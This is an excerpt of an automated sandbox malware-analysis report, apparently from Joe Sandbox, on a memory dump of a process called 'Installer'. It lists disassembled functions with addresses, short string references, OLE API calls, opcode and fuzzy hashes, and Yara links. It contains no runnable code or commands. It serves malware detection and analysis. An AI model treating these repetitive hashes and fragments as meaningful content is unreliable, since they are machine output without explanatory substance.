Instruction Fuzzy Hash: 0051F67420D3508BD7288B14D9D0BABB7A2EFCA318F25967DD58697291C335E843C78E

Function 0043EE50 Relevance: 2.6, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

yz, xrefs: 0043EE57
'}, xrefs: 0043EE65

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: '}$yz
API String ID: 0-4283282396
Opcode ID: f79d7379e376645b73c42350e5ee51e8a145ed93f69b725fee394d330310c919
Instruction ID: 6c98babec1c2cee739f789cf685c2ea4349774288cd61dce89ebb6089c752d52
Opcode Fuzzy Hash: f79d7379e376645b73c42350e5ee51e8a145ed93f69b725fee394d330310c919
Instruction Fuzzy Hash: A91132759002298FCB00CF54D8D06EE77B2FF41344F151569D851BB2A0CB389946CB99

Function 004402B0 Relevance: 2.0, Strings: 1, Instructions: 703COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 9ac8e299f1cf1d63ed86c6bd82d1a592ff0dcb59a841c00e2249b3a717890619
Instruction ID: cc1519bfc60c4b12a942df2b806186209cadf443f4b6312827fcc7d0bb8de627
Opcode Fuzzy Hash: 9ac8e299f1cf1d63ed86c6bd82d1a592ff0dcb59a841c00e2249b3a717890619
Instruction Fuzzy Hash: CB22363A608251DFC704CF28D8A126AF7F2FB8A314F09857ED98987351D734E955CB89

Function 004403D0 Relevance: 1.8, Strings: 1, Instructions: 594COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 0068fcea1fcce90b3d7b75575ae24fd46d4f308cccbdaad663dec9647c00860c
Instruction ID: ab146c73076e2240b060154e7353531ea1e8eb1c5403ea302177df520b4c5a47
Opcode Fuzzy Hash: 0068fcea1fcce90b3d7b75575ae24fd46d4f308cccbdaad663dec9647c00860c
Instruction Fuzzy Hash: 8D120339608250DFC708CF28E8A166AF7F2FB8A314F09857EE98987351D734D955CB89

Function 00440550 Relevance: 1.7, Strings: 1, Instructions: 478COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: a8b42d00aa42b6c5f4fdbec2012c9a4f829a243eac6bcdfeac6ada73ec91b821
Instruction ID: b47343fc74fa199a2dd3296f085def7190a0f10b9a04de121b961ff035c16150
Opcode Fuzzy Hash: a8b42d00aa42b6c5f4fdbec2012c9a4f829a243eac6bcdfeac6ada73ec91b821
Instruction Fuzzy Hash: A6F10136608251DFC704CF28D8A066AF7F2FB8A318F09897EE58987351C735E955CB89

Function 00440690 Relevance: 1.7, Strings: 1, Instructions: 442COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 2fdcadc8431d5e275e97618014f6d9204e5a36a54ec6d05914a11fb32c429fef
Instruction ID: a8adab88cd6467e8744eccda8f8671d0fd7897d1ea11a103ef712ebcb60b2b94
Opcode Fuzzy Hash: 2fdcadc8431d5e275e97618014f6d9204e5a36a54ec6d05914a11fb32c429fef
Instruction Fuzzy Hash: 3CE100366082508FD304CF38D89066BFBE2EB8A314F09897EE99987351D735D905CB89

Function 00440600 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

cu16, xrefs: 00440725

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: cu16
API String ID: 0-1393213281
Opcode ID: 7970cd6754f9a29d7eb6efe6f2f2c38251dbb01199b4c91cf1d898bcd2063352
Instruction ID: a6b8655c2d4fe843f733019638999d7a326d799a2e10267b81ba0de51ceb402d
Opcode Fuzzy Hash: 7970cd6754f9a29d7eb6efe6f2f2c38251dbb01199b4c91cf1d898bcd2063352
Instruction Fuzzy Hash: 41E10136608250DFD704CF28D8A066AFBE2FB8A314F09897EE59987351C735E915CB89

Function 0041C561 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

-.-2, xrefs: 0041C7E9

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: -.-2
API String ID: 0-2838677626
Opcode ID: 84298f2c1df00ac477d8c9eb7f651bf770509cc0667fa7c23a1cbe41850e76cc
Instruction ID: c65bc0e0fd9ab2b407f4ec274a243cae03b52599eb44c3ec4b920f3608bc9bdb
Opcode Fuzzy Hash: 84298f2c1df00ac477d8c9eb7f651bf770509cc0667fa7c23a1cbe41850e76cc
Instruction Fuzzy Hash: 08912770694B804FE335CF768880763BBE3AB96314F18896DD0D28BB95DB79E446CB14

Function 0042B100 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042B2FE

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 981523987b1e43f0f2fbc980dbd505f4044b7fe8cc5f065e6a15477f38c1429d
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 4071C632B083258BD714CE28E49032FB7E2EBC5750FA9856EE89497395D338DD4587CA

Function 0043E9B3 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

v4vE, xrefs: 0043E9C0

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: v4vE
API String ID: 0-866190975
Opcode ID: 7b64acfa24e2befdd8ac35dee43b38dc2d497a1a5a96ae3d147eba01d7514725
Instruction ID: 34cdfc8a34f78da73259cccf7ab61d51709751dea84dcafbc9ea7b9c9e951e0c
Opcode Fuzzy Hash: 7b64acfa24e2befdd8ac35dee43b38dc2d497a1a5a96ae3d147eba01d7514725
Instruction Fuzzy Hash: D631F4B6A183005BF708DF76AC8255BBAF3EBD5304F19C43DD185D7215EA38C1068B4A

Function 00426513 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

/kB, xrefs: 00426B29

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: /kB
API String ID: 0-3532343839
Opcode ID: b4b5b7e280f642f85b3dfe5987f8b3969132ef151dffa41fcba20c5fda879f96
Instruction ID: 30b78e98d0376e77b4dedd947e5e84c4a76dc6197d8d4778f9e0425fae07882d
Opcode Fuzzy Hash: b4b5b7e280f642f85b3dfe5987f8b3969132ef151dffa41fcba20c5fda879f96
Instruction Fuzzy Hash: EA1159B4E093649FC320AB25A8D017B76A5DF97314F85852FF9C367361EA3C9C02C65A

Function 004074A0 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa9a842e54d6f6908c7b800668eb5eb2d5e9b27e34123646e38c57c34ffb93e
Instruction ID: 53bedda06ccc27c303568f9e7e6bd49d427b81707e73c2342d6127383662a74f
Opcode Fuzzy Hash: cfa9a842e54d6f6908c7b800668eb5eb2d5e9b27e34123646e38c57c34ffb93e
Instruction Fuzzy Hash: 4F12B472A087118BC725DF18D8806ABB3E1BFC4315F19893ED9C6A7385D738B8558B87

Function 0041D050 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2a651c7b4397c0272f4726fbccc838470ac406de1116525d09835cc8aaf273
Instruction ID: 06ba914754fda528d7acfc96047ccc351decbac5893a7f6043ce80427adf6e18
Opcode Fuzzy Hash: ba2a651c7b4397c0272f4726fbccc838470ac406de1116525d09835cc8aaf273
Instruction Fuzzy Hash: 02C123B5A183118BD728DF28CC526ABB7F1EFD5314F08862DE8958B384E73C9944C795

Function 0043A9D6 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb2c410d40d8a7215a23457b42f4989fe7a875ffa95cad037c50274c93334019
Instruction ID: 6ff10e554b56e7d98c0354463b113c8fe134109c80e7cf3690ca443259b71b45
Opcode Fuzzy Hash: fb2c410d40d8a7215a23457b42f4989fe7a875ffa95cad037c50274c93334019
Instruction Fuzzy Hash: 91E1397AA68226CBCB189F24D85116B73F2FF4A751F0BC97DD881472A0E7398960C746

Function 00405930 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8469296e2ad6377bca0d66c7fdbce60c96d239fa905cce4d846bf08553cb04b8
Instruction ID: 5dc1153c2cae88f14e706d6766014c5310a85aff0076e014daa1ca1314a98a54
Opcode Fuzzy Hash: 8469296e2ad6377bca0d66c7fdbce60c96d239fa905cce4d846bf08553cb04b8
Instruction Fuzzy Hash: 5DF1BD756087418FD724CF29C88076BBBE2EFD9304F08882DE5D597391E639E944CB96

Function 00428307 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e71ddd8efcb11a8d109418157ab47fde1022d2a01cbd6712a0ad8640d730c20
Instruction ID: a954b38a6bb1ce87cf69874cc4df31a0facd51f51a0102f5d1bcd2fc66b16d63
Opcode Fuzzy Hash: 0e71ddd8efcb11a8d109418157ab47fde1022d2a01cbd6712a0ad8640d730c20
Instruction Fuzzy Hash: CFA1F476B096114FD71CCF2AD81132FB6D3ABD4310F5A853EE88AC7395DE74E8128685

Function 004410D0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1d4ee9170cb315f71c8184b5a82f458173e5dc386eddf8c79e1ec2de4589c0f9
Instruction ID: 48af3df080d7374f24d22ba405b18466128ca7b67be3218363250a1880df35ed
Opcode Fuzzy Hash: 1d4ee9170cb315f71c8184b5a82f458173e5dc386eddf8c79e1ec2de4589c0f9
Instruction Fuzzy Hash: 8D91DF756083019BE718DF18C490A2BB3E2FF89750F15846EEA85DB361EB34DC41DB8A

Function 004409E0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2081274b20256b51a48b52e86fac1d0e917b6bc8052939e7a96106f21d596131
Instruction ID: 396e9f4d8292420b39720d4ebe7e3b2ba50298b7ad3af056df74e370846adae9
Opcode Fuzzy Hash: 2081274b20256b51a48b52e86fac1d0e917b6bc8052939e7a96106f21d596131
Instruction Fuzzy Hash: 4F71353560C2A59FC7048F39D8512AABBE3EBCA314F49896DE8D887350D739DD11CB89

Function 0041F2C0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ef3ed592ffea8117d6535c71c633ebd8baee3f6d97b41eb70e06c6ff45de06
Instruction ID: 7de542bc9115ef73e19b3091658d28cf0780ac80647d3c93e3c636ac7a511b7b
Opcode Fuzzy Hash: e2ef3ed592ffea8117d6535c71c633ebd8baee3f6d97b41eb70e06c6ff45de06
Instruction Fuzzy Hash: 99614A355083914FD7258F29C84096B7BE0ABA6314F4882BEE8E84B392D635DC4AC796

Function 0043A640 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1fab72e9f5b1cdff51703c3b7269aa68bcba2dda9f3549e373aaeca11e4806
Instruction ID: 66fd862550092496dbaeb2d3bb1543f7b4ae7d39c68e2cc44db9a05b1b136551
Opcode Fuzzy Hash: 6d1fab72e9f5b1cdff51703c3b7269aa68bcba2dda9f3549e373aaeca11e4806
Instruction Fuzzy Hash: 8C3123B5A04300AFE7109E119CC1B3BB7B5EB89758F10182EF9C5A3201D339EC26879B

Function 00408B00 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a46eb97a1ede892c521cd0a1cf27060ef79bfacc0411b261445066a2a95deb
Instruction ID: 37f3efdb486df1b50b7503efc8676e0e0480c9f1302ca175b3bd99bebac416ea
Opcode Fuzzy Hash: 83a46eb97a1ede892c521cd0a1cf27060ef79bfacc0411b261445066a2a95deb
Instruction Fuzzy Hash: DF4190216493494BEB14CD2889815E77B61DBA2350F08C63EECC55B3C1EA3CDA0AD3A9

Function 0043F7B2 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bd4d7e9bd20bf13d05e542f28e56da8f4d605b247b1b6829d47043411abe16
Instruction ID: 65860a534bcdc61a69b891c8f4b112b5ccb7c4aa6a6d252a23f247d29c97b397
Opcode Fuzzy Hash: b8bd4d7e9bd20bf13d05e542f28e56da8f4d605b247b1b6829d47043411abe16
Instruction Fuzzy Hash: F8410436F245554BDB0CCF6888A157FBAB2AB8E310F19E13EC556E7354CB3899058788

Function 0040DE13 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7429881085838c9e2ea473406c0e777441f7560d71a7cb9971c1e3e1e517dda0
Instruction ID: 8192ad4da6690d975133d58e89ccec5cc32f62d7e28f0f863b58bcb031853df0
Opcode Fuzzy Hash: 7429881085838c9e2ea473406c0e777441f7560d71a7cb9971c1e3e1e517dda0
Instruction Fuzzy Hash: 64313938B556018FC725CB68CCC0B3673A3EBD6315B589639E092673D6DB38E8068788

Function 004292E0 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8820827ab3717a503f23ee1f329a572c2ac425d8331617b1f9b573c8837ef006
Instruction ID: 6483a22a6f500d058f9f4f03b7d1e0b0debdf2b506a58ba5144e8a59cc6fe5a8
Opcode Fuzzy Hash: 8820827ab3717a503f23ee1f329a572c2ac425d8331617b1f9b573c8837ef006
Instruction Fuzzy Hash: DF31C432E00125CFCB14CF64C8516AFB7B2FF46310F19959AD842AB3A1DB385D01CB94

Function 004393C0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311bccfb7c94d63f981d42372d52fcc226d8c5098601f3624a1e21d790acd581
Instruction ID: daeb1bb460313cd135989d5d7c02351c17a175b5b9fd5c5575e707a8a0bfda13
Opcode Fuzzy Hash: 311bccfb7c94d63f981d42372d52fcc226d8c5098601f3624a1e21d790acd581
Instruction Fuzzy Hash: 3C1178217082110AC3249BA9C8C1177F399DBDE724F19967BD9C08F292E2B8CC42C3D5

Function 00436370 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 91ac4c5b143b02c7d32e682e2a6aab4e0f1bc94368da354689b67666a2c00c8c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6311EC336451D50EC3168D3C84005A67FA30B97234F1AD39EF8B49B2D3D7278D8A8359

Function 0042A660 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee26b68ca80d359eea836c05570f0252371bc8a0c72456eea12c8fb01481f6b
Instruction ID: 9eb9525df2382ca65ffc71ea0fe4effccc3bbe68bdeaf4085e84a9653100f2a1
Opcode Fuzzy Hash: 2ee26b68ca80d359eea836c05570f0252371bc8a0c72456eea12c8fb01481f6b
Instruction Fuzzy Hash: A8019EF5B0031247D6209E11A4C4B2BB2A9AF90748F5D443EEC8457342DB7DFC2482AF

Function 00402B70 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d295e9ed382b796e59e78ecd7c3973d9fbade591b377e9c3dd8d664adeac99
Instruction ID: fe22f187d6262aa03d792ec1030457158b6d731bbaaa7045d526425db3de230e
Opcode Fuzzy Hash: d5d295e9ed382b796e59e78ecd7c3973d9fbade591b377e9c3dd8d664adeac99
Instruction Fuzzy Hash: 1D01F46B7A831A0BD700DDBDECD56AAB7A696D5108B1E4139EA80D7781E0B8F8058294

Function 00425E70 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4230b21a2fd02e58cc7b406f354e8a131570180303f77ccb7a9505112db3ad99
Instruction ID: 18454f57bc8bd7713fef9fb37d3191b327954915f6893786146af46e59a98f16
Opcode Fuzzy Hash: 4230b21a2fd02e58cc7b406f354e8a131570180303f77ccb7a9505112db3ad99
Instruction Fuzzy Hash: AA01B53560E710DFC7188B24948093FB3B2FB9A324FA5556CD59123261D330ED028BCE

Function 00425DEA Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cdd2821561e72d22e9e4a155e993369658370f557c2a38552048b2028693a2
Instruction ID: 6fca0e276dc41d176f9258a46a62d3d95cdd6612b9affbec5bcc6b9929d5356f
Opcode Fuzzy Hash: 75cdd2821561e72d22e9e4a155e993369658370f557c2a38552048b2028693a2
Instruction Fuzzy Hash: 3001DF30A096209BC7088B14A48053FF3B2EF8B720FD5552DE68667251C335ED028B8E

Function 0043EC60 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa1d9da91f22f173d497c8b9dff6cb2ad0c54e4f2a9c7da531a3c1cc58556e0
Instruction ID: 79179b24096eac5e6ac07bd72d819e76adb0a4e00d37c96423816886d630571d
Opcode Fuzzy Hash: bfa1d9da91f22f173d497c8b9dff6cb2ad0c54e4f2a9c7da531a3c1cc58556e0
Instruction Fuzzy Hash: E7012B3AA519904BC718CF39DC91AE573A1F797305F19A6BCC406E7274EE3499058B48

Function 00431D48 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 102COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431D54
VariantInit.OLEAUT32 ref: 00431D60

Strings

d, xrefs: 00431DB2
m, xrefs: 00431DD6
b, xrefs: 00431DBA
3, xrefs: 00431D8E
-, xrefs: 00431D7E
%, xrefs: 00431DA6
l, xrefs: 00431DD2
, xrefs: 00431D96
", xrefs: 00431D86
j, xrefs: 00431DDA
n, xrefs: 00431DCA
`, xrefs: 00431DC2
4, xrefs: 00431D9E
f, xrefs: 00431DAA

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $"$%$-$3$4$`$b$d$f$j$l$m$n
API String ID: 2610073882-388534048
Opcode ID: 0d47e0fe30014c20ce2d32c7426541ef57348e46fc9c568ff5466d38f1117a37
Instruction ID: 0ed16d0090aa2853db3fa94cf8c83c94d7f5a066e2027e59c45352e3d5823b27
Opcode Fuzzy Hash: 0d47e0fe30014c20ce2d32c7426541ef57348e46fc9c568ff5466d38f1117a37
Instruction Fuzzy Hash: 5C415C612087C1CED725CF38C889346BFA2AB62314F08C69DD8E54F39BD279D516C762

Function 0043285B Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 96COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432867
VariantInit.OLEAUT32 ref: 00432873

Strings

, xrefs: 004328AF
%, xrefs: 004328BF
d, xrefs: 004328CB
b, xrefs: 004328D3
4, xrefs: 004328B7
l, xrefs: 004328EB
3, xrefs: 004328A7
f, xrefs: 004328C3
m, xrefs: 004328EF
-, xrefs: 00432897
n, xrefs: 004328E3
", xrefs: 0043289F
`, xrefs: 004328DB
j, xrefs: 004328F3

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

